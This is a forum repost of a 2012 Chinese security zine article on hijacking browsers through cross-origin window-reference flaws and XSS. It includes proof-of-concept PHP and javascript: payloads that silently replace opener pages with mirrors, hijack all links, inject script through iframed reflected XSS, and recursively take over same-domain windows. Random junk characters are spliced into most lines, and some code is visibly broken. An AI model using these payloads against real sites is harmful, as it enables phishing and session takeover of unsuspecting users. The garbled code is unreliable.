找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1916|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==3 U- ?) X+ x4 V4 o

6 r4 ?/ N. X6 x5 }( B! v% Y$ @* c                       Issue 0x03, Phile #0x05 of 0x07
- o7 k1 b, }. j$ \. q
7 Q# c& j( s* Y* M
4 A, Q7 e1 a( h3 u, i  l|=---------------------------------------------------------------------------=|
3 _) A9 N: D" c3 B" K, ?5 R|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|2 a3 B/ o3 }. T# Q
|=---------------------------------------------------------------------------=|4 D: V4 E. Z) g$ e6 y' l
|=---------------------------------------------------------------------------=|' p6 t# g- W+ Y. z
|=------------------------=[      By rayh4c     ]=---------------------------=|# k% M- ~9 J  S$ G, i' ]9 `
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
9 r( J! B7 S- E* i|=---------------------------------------------------------------------------=|0 w. @8 D0 n3 K5 [. I+ ~

/ u; v' p8 t6 X# T& Z$ O1 |6 P8 L! h$ D. [' q
[目录]
# w3 {- ?. ^9 l' _" R) O1 S* G
! J" L# G  I- D9 x2 p8 R1. 前言
9 K+ {4 X) [3 T( t  ^( E1 Z5 n2. 同源策略简叙
% [, k4 q" z6 f5 f- O: ?3. 理解window对象的同源策略
9 `4 s/ u6 |6 }8 l4. 窗口引用功能中的同源策略漏洞0 z: J' _2 m2 _) I, x( X7 y
  4.1 父窗口引用子窗口的同源策略问题9 _7 P8 }1 y5 C  U% C
  4.2 子窗口引用父窗口的同源策略问题
# A, V, m) P9 h) J6 d# x. u4 `5. 利用窗口引用漏洞劫持浏览器. ]' N, z* U" Q' R* Y
6. 利用XSS漏洞劫持浏览器
' c/ b4 A; d# g0 C  ?7 g1 B  6.1 正向跨窗口劫持
; v. v7 I6 N' d" U( K3 B9 ~+ q  6.2 反向跨窗口劫持0 `1 i1 A+ Y6 W6 S, ?( ^
  6.3 极度危险的跨框架窗口引用劫持" s  p4 p6 F3 t0 q
  6.4 极度危险的正反向跨窗口递归劫持
/ x  ~) o0 y: k  6.5 完全控制浏览器
, X7 C! |! U3 f  {3 q7. 后记/ \/ u  V1 d* W7 a' @' r
8. 参考
  j0 V! s/ R& \0 i5 y& A  g! [, K3 B" Z2 x  O7 a- k

: \. ^) q: d9 D/ H一、前言) m* S- t- t; K6 L

8 J) R/ R7 o4 O# t; B/ M& }    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% @- w* }: O4 ?3 G+ p0 E* Q/ @友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session- M7 m9 p" I5 ~0 v
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
. @1 |) \% ], H  u. {条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。& y2 R) A& `% p. l  \- Y
9 S! @! K% I( I7 z) K, a

: o7 w% `8 u# G7 e二、同源策略简叙
& S5 Q% e3 i6 l' ~7 F$ k& m+ Q7 m0 T( M* M5 ]
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
9 T" \0 M2 f+ }; {6 `从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都6 J6 u+ i# }/ |9 B& k, E* E
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
1 v. k  p; @- k2 o+ ]( q4 a2 v' i马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 x/ `5 o2 U! o$ w) ?; F8 F. X
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
# G; f7 [6 y0 y& Q& c) n" b/ q, t% |' U. y8 G2 \
3 \- S. E3 o% _5 f
三、理解window对象的同源策略: w9 y) v/ s: c9 H: D3 g! }' V
1 l+ P' b- X: O! u- D/ M4 U" d
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
4 ?: F: ?" m0 E$ m* h, L象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:& ?& u, v! s2 K0 S1 R4 o) K7 \

; Y# f: N5 C) ~--code-------------------------------------------------------------------------
8 q/ ~* I  R9 l$ |, w( T' v<script language="javascript">
4 ?2 v) W* X( t3 ~+ tfor(p in window) document.write(p+"<br>");  d  K6 W9 L7 `
</script>
  ^# N1 C) ]( C8 s- N-------------------------------------------------------------------------------" o) Y' R3 T* d4 I: c0 Q

( b5 e0 I/ y5 }0 A- d    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
! }% X! H+ F; {3 s" L法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
. z; x' p. Y2 J, U* {7 s这些属性和方法就必须遵循同源策略。
: z: J' g! k0 }- F3 r% ~# A2 x6 q! x" ^, }2 ?
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
. l; N0 w7 {& }么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须  A  l/ K% y$ f9 }( c) \7 H* B6 ?
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这) A4 L& D- i3 {/ Y0 u
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( q, Q8 B* B" p* K* O4 E8 ]值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
0 L, Y+ @4 f3 c属性并没有被拒绝访问。
1 t1 N) c; L! E2 ?" k' K7 ~( ]
! x  w8 `& f' s--demo.html--------------------------------------------------------------------( q5 N% I  w9 s3 L1 z$ T
<script language="javascript">   
# Z$ e) t1 x0 V' l7 E# ufunction allPrpos(obj) {      
! f' N( E0 z8 l! d: P1 B9 f1 I1 T1 h      var props = "<table><tr><td>名称</td><td>值</td>";           : d3 t: _! I5 I& }* q
      for(var p in obj){          3 _/ ?: j! N! R$ H1 L
            if(typeof(obj[p])=="function"){     ]# }# w3 x3 n4 Q9 t. e& N
                   obj[p]();   % R; W) M1 R% r1 Z3 B' D
             }else{                     
5 a6 a3 z" C& V0 f$ X4 X+ j                  try   
' g6 k. L9 @8 E                   {   1 V& ^, Z  x, N
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
8 O/ C" G" A6 y' U                   }   " o$ S' k! B1 e8 m4 R0 U3 \
                  catch (ex)   9 b. |5 F7 Q. z' Z2 v
                   {   
0 }& x  S( C+ I% A: v  b8 u                   ! L( ]( y! w3 n) G, ?
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
6 O) |: r5 B- W                   }   7 E4 G8 i, D& }1 M
                       3 ?2 n' L8 T' z
             }   & f/ Y) V. [2 A
       }   ' B7 O1 M& C& Q
   7 T* ^6 ^/ e4 d" v- Z3 z$ t
       document.write(props+"</table>");   
& @2 M5 _( R5 c0 Z/ I! R}   
1 k; z( B: X) K. u) M   + T2 W* ?( R1 a
function createWin() {
2 w' h+ X# J* \0 ^% x) H        newWin = window.open ("http://www.google.com");  
5 f' k5 ^2 e4 d+ t+ P        setTimeout(function(){allPrpos(newWin)},2000);
( }5 v4 G2 j5 h: N; t. G" b' c}
* e$ Z" ^! g. Y5 O+ m" x0 T% t% A& `
2 G+ {3 W. `8 T6 S- S+ e3 p</script>
# a" [' v5 m* v$ \7 b3 ^+ F3 V: Y4 _: m3 Q# k& t0 n) E
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 b+ X% W0 V) ~) {-------------------------------------------------------------------------------
6 s3 o: O" A9 Y) ]% a" @) l+ }* @; ]* N
* A4 i! f1 Y, [+ X% W( W
四、窗口引用功能中的同源策略漏洞; q2 l4 }7 C6 {2 b3 i. a& s
+ K, Q0 ]% I1 N, |2 l
4.1 父窗口引用子窗口的同源策略问题
6 l7 r( p6 j# w4 X( C
; h: }; t4 k" Q- d$ M$ Q2 d) E, J    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
! {# N0 I! c- i3 T6 D7 N. O但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
: C  w; @3 X+ F$ v浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
2 H' v3 e: \1 j/ ?- [3 l; x/ v行测试,会发现父窗口可以控制非同源子窗口location属性值。
2 U) E# P1 v3 I4 ~- j1 ?' |* ^, W# t  E7 q5 P* w; Q+ W
--vul1.html--------------------------------------------------------------------
) V5 H7 r0 s, N) L2 S<script language="javascript">
+ z! Y: M/ V  a# R7 V( C& s# afunction createWin() {  - ]) g1 F8 }, z) A0 k9 n
        newWin = window.open ("http://www.google.com");  
& r9 m5 P5 F+ s" Z8 d        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); + |, H' t. ~' ^
} % P3 ^$ a' Z2 |1 _5 e
</script>
0 ~, n( i; G& M0 x
% j/ \( J1 h1 h8 D<button onclick='createWin()'>创建一个非同源子窗口测试</button>3 u! i0 ~- j1 G! [
-------------------------------------------------------------------------------6 P! u/ M% O) x& t  w

* l5 K- q' [/ U4 X( M
! `7 h( w$ B9 G- ~# \+ s4.2 子窗口引用父窗口的同源策略问题0 d# [5 B1 H$ H/ o& p
/ k/ i+ `  a. @8 N
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
' Y% n7 f( M  X! c: ~: W; _用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
5 m8 f4 Z; W# _) M5 ~可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
* e- F# P2 T) k: G9 C1 y会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
6 f' ^+ d  z" o  T2 O$ a# G, ]3 q$ S% q8 w' ?# C
--code-------------------------------------------------------------------------0 n: \1 Y$ n2 z+ u3 t+ y) Q

; f. Z  b8 ]. c7 h. l- R$ ?; Zjavascript:window.opener.location = "http://www.80sec.com";void(0);
. {$ a$ F. G; o& e4 r5 ?
5 F& N' H/ H2 g4 W; l-------------------------------------------------------------------------------
" Z* @" Y7 X. P$ H+ A3 X" b8 J
" d4 D8 D. o! r
五、利用窗口引用漏洞劫持浏览器
3 x0 `4 p9 f* ?0 W# d' O* D
% D3 n. v2 c2 q5 \0 {    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子+ _- M: K8 R" `
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" A5 S: ~. D. D2 N( x9 k: O
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
" l( o2 h! S+ i/ k! w6 g9 u! @3 q; C/ F6 ^2 F0 [% t8 r. s0 e; S! t
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) c3 Z2 m1 c+ ~9 F4 c生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或8 y' s% W6 U1 c0 t" a3 S1 T2 j
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' m2 p7 _6 x% ~后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下, C  b5 \% I/ _3 b8 A- |. ^+ ]- r
会产生什么可怕的后果。
% h% _" R# l2 C4 a
- n; T2 _$ a" {5 f1 @7 W; Z3 w2 o    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我( k  z% i9 V* W7 z- Z
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
1 V7 X/ ?$ K8 l* Z这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# y& {, l4 V+ T4 L+ h$ W候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可+ |2 o7 S$ |, S" v: t
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
7 Z# ], m7 \3 r- t$ r1 i( _" t: ]' C% ]: @) @) E/ e* ]/ U6 m! C
--hjk_ref.php------------------------------------------------------------------
( o( ?, _/ Q! |9 u; D<?php
* G0 B2 w7 T$ Q" bif (array_key_exists("HTTP_REFERER", $_SERVER)) {  ~0 h) N, {0 X; @1 {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" J- P( j' c) c! m' {6 @2 i. \} - N. V1 _: T" n# x1 k" y# x( ]
if(isset ($_GET['ref'])) {
4 y8 a' |9 u$ _5 jecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
5 {% T3 `) d: L# q1 g% f. P}& F- q4 W# G6 M7 U) F+ I& N5 D
?>/ |7 {: @: F" I. l% n9 t4 {. M! m

  C  d  g0 Z" u+ M. h; q/ F3 M<script language="javascript">
8 k, K  w8 |+ ~0 I( s! ysetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
2 P; Y  L* O* U+ Y</script>
  W# s6 W' M6 P, W9 C-------------------------------------------------------------------------------
$ o) ?* Z+ v! j0 Z
( D) w: b' ~% d# N* R; M    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。" ~8 _6 N  S  L& w4 d0 b

1 p  j  p& @7 s+ d0 E" |9 }
- R/ n9 U, D( A$ t2 I5 F六、利用XSS漏洞劫持浏览器/ m5 @* R. ^0 ?
- B2 t1 P+ E. G/ a
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
5 z! J* K% Y1 V+ Z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
0 V& x  C3 C4 G. YXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
4 Y  M: T$ N# T! e$ q1 f0 ]0 n" b讨论跨站师的终极技巧:) A% L) N9 b6 g3 \# e, T
3 N% i/ V) [+ ?- c

6 o) j# u1 P8 Q6.1 正向跨窗口劫持
. O! y+ T, O! |  P6 z/ o  E+ h2 u7 L/ J" B
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛2 e: ?4 P; C" E8 c& k8 Z. h6 A. @; G
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链9 m5 D1 {3 S8 |" P* p& ?
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话. l. |$ p, b# O7 |5 I- I; @
框脚本。
: d, y+ c% s& p; ^/ Z, v) Z9 h/ d5 K) x: Y' n% m& L6 S
--hijack_open.js---------------------------------------------------------------* l( Q+ ]: L) Q0 q

4 L8 h4 {  z/ r6 O! j# w8 x5 ojavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6 [* D$ a/ M' v/ {. t/ B) T# Q  h6 A  _# M6 @
-------------------------------------------------------------------------------' O2 @( Q. Y2 T+ G+ R
, A. N6 \4 x6 I
5 _- p& ~' E- y0 S' A& H
6.2 反向跨窗口劫持
5 f$ o4 l, e/ s
$ t2 E1 t6 V( S& D6 q) x    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代" a" b5 q6 M( [' h4 j- c
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
* ^" [1 E+ l. R框脚本。" h8 g$ m4 B9 i8 j/ w

$ F, g3 `, N! W& D--hijack_opener.js-------------------------------------------------------------- d: i: b. @1 g$ O  U' c6 m9 G
- x" @; @" \& [# P) p3 T5 M4 A
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
/ X, q( O; s- j$ a( R+ \3 g! w5 F
-------------------------------------------------------------------------------
  B& _& Y4 [: T' W  M+ e3 o3 ]8 s
1 v  g! k! t. x$ [4 E  _
- \8 R/ q5 k. Y4 N" V! a. a* N9 @" d6.3 极度危险的跨框架窗口引用劫持
/ j$ n$ {, P( U3 N4 X6 v- w* {
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
9 M" `- M9 P  V1 z- a; A* W可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就; g% U: p: E9 v, c
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个2 Q7 \' M! P; B7 U( n& [) q2 _: v
非持久型的XSS,如下:4 n9 Z( J' \+ I& W: v7 Z
2 S, |# g- Z0 ^; ?1 F! T
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>" o, `* T7 v+ [5 C2 G8 w& m
0 G3 J8 C+ n2 E( S
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口- K; R0 e* \3 N7 v) x" Q" v8 e
注入脚本。/ w4 C( w( X& B2 l2 j/ y

# B6 `- s) \: a$ ^4 ~& N' E: G--hijack_frame_opener.js-------------------------------------------------------
5 f. D# y- i" E+ E<script>
) X! U  ^& C  O( p+ ~% P) n5 Uwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
" T2 Z7 Y& \5 l% [' g. }</script>6 p% h  A7 y* s# |$ F
-------------------------------------------------------------------------------. R$ K6 Q- \+ a
2 [9 O- F, Z. o9 p0 P, w, G
& y: b- y2 ^# e
6.4 极度危险的正反向跨窗口递归劫持
8 ?' e& n& Y4 g* O1 d
% }! T; i- b  ?0 b    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
" S, N5 x' }/ h; \: r' Z) G) R的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
: T0 ]' K  u/ A7 Z6 M% I# b异常处理规避之间跨域页面的访问异常,代码如下:
7 R2 g& E) x. E& @/ g. r
( Y& t  R, [+ E0 ]4 A--code-------------------------------------------------------------------------
, h: X. D: f7 [% @2 A; \9 \2 r
+ v$ E; K) i. U9 Fjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);8 Y! A+ O$ ^, E) N6 C; t# J

6 X. \0 P" q- f1 l5 j) H-------------------------------------------------------------------------------6 |1 m8 i& C3 R2 s

8 ~. L6 m' n) r    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
$ P/ z4 Q/ A8 ]7 N以劫持B域之前的A域页面,从而实现“隔空打击”。0 H  G. c, }5 v8 A# G
* _8 n1 v5 g/ ?( v3 R
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面1 v2 @# Q1 U' f9 p% W- G
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。" J) J4 A. N. S

2 q8 W! h2 J' b9 Z  }    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。- I$ I% @. V. A
- ]$ ~4 |8 n7 i' |
0 p9 H+ B" D- g; Z: ^
6.5 完全控制浏览器
( q# M0 c% b& v4 U- a' K( v
4 k* h1 f0 c, ~4 @6 J    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
/ l2 T& V# f0 n. N是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
4 Q# n5 o- a& s& k5 y漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失* I% l8 Q. A4 ]9 @# A$ k
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再/ V5 P7 _9 H: Q8 J. O: t, O
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站6 B4 C! o  j6 h4 P# G1 U& ^0 G3 j8 `
师的终极目标 - 完全控制浏览器。  z; M, ~: e* B
  H; x( @. C( t- f" \! E6 B
" n! ]7 g' R1 j1 _% r
七、后记
9 Q- w9 E6 J; ?0 [
8 F! H7 B8 Y% V& l! T    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全; e! O( Z+ E, j4 A. l: \
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予) c6 f" H6 G. P+ X8 L  F
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
/ b! W3 ]  c) _. ^' G5 u& u5 m
/ O, r- {5 k" F
0 @. N- a: W6 k八、参考
0 I. p. Z, g  O) ^9 i' P/ {! ?) D8 M- W; e/ |
1. http://en.wikipedia.org/wiki/Same_origin_policy$ a/ @3 ~9 @) X1 n0 [
2. http://code.google.com/p/browser ... licy_for_DOM_access. E4 ^. I) q0 I) K* }6 ^5 A, P6 O7 ?
3. http://www.w3.org/TR/Window/3 @! M% v! u, S$ \; p& m- `
4. http://www.80sec.com/release/browser-hijacking.txt# K5 s5 _3 f9 X1 X# N3 n7 E
5. http://www.80sec.com/all-browser-security-alert.html
1 n( `; W4 e5 s, @& G  q& U# i6. http://www.80sec.com/ms08-058-attacks-google.html6 ?7 t3 }5 H( L  I

0 i6 x" W, h) c" s5 E! Q-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表